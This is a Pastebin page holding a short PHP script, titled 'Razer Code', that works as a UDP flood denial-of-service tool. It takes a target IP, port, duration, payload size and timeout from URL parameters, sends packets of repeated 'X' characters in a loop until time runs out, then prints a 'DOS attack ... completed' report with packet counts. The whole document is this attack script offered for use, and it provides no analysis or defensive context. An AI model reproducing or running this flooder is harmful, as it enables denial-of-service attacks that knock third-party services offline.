Advertisement
Guest User

Razer Code

a guest
Oct 3rd, 2013
743
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.49 KB | None | 0 0
  1. <?php
  2. if(isset($_GET['ip']) &&
  3.     isset($_GET['exTime']) &&
  4.     isset($_GET['port']) &&
  5.     isset($_GET['timeout']) &&
  6.     isset($_GET['exTime']) &&
  7.     $_GET['exTime'] != "" &&
  8.     $_GET['port'] != "" &&
  9.     $_GET['ip'] != "" &&
  10.     $_GET['timeout'] != "" &&
  11.     $_GET['exTime'] != ""
  12.     )
  13.     {
  14.        $IP=$_GET['ip'];
  15.            $port=$_GET['port'];
  16.        $executionTime = $_GET['exTime'];
  17.            $noOfBytes = $_GET['noOfBytes'];
  18.        $data = "";
  19.        $timeout = $_GET['timeout'];
  20.        $packets = 0;
  21.        $counter = $noOfBytes;
  22.        $maxTime = time() + $executionTime;;
  23.        while($counter--)
  24.        {
  25.             $data .= "X";
  26.        }
  27.        $data .= " I-47";
  28.        print "DDoS Now ... <br>";
  29.            
  30.        while(1)
  31.            {
  32.             $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout);
  33.             if($socket)
  34.             {
  35.                 fwrite($socket , $data);
  36.                 fclose($socket);
  37.                 $packets++;
  38.             }
  39.             if(time() >= $maxTime)
  40.             {
  41.                 break;
  42.             }
  43.         }
  44.         echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."<br />";
  45.         echo "Total Number of Packets Sent : " . $packets . "<br />";
  46.         echo "Total Data Sent = ". HumanReadableFilesize($packets*$noOfBytes) . "<br />";
  47.         echo "Data per packet = " . HumanReadableFilesize($noOfBytes) . "<br />";
  48.     }
  49.     else
  50.     {
  51.     }
  52.         ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement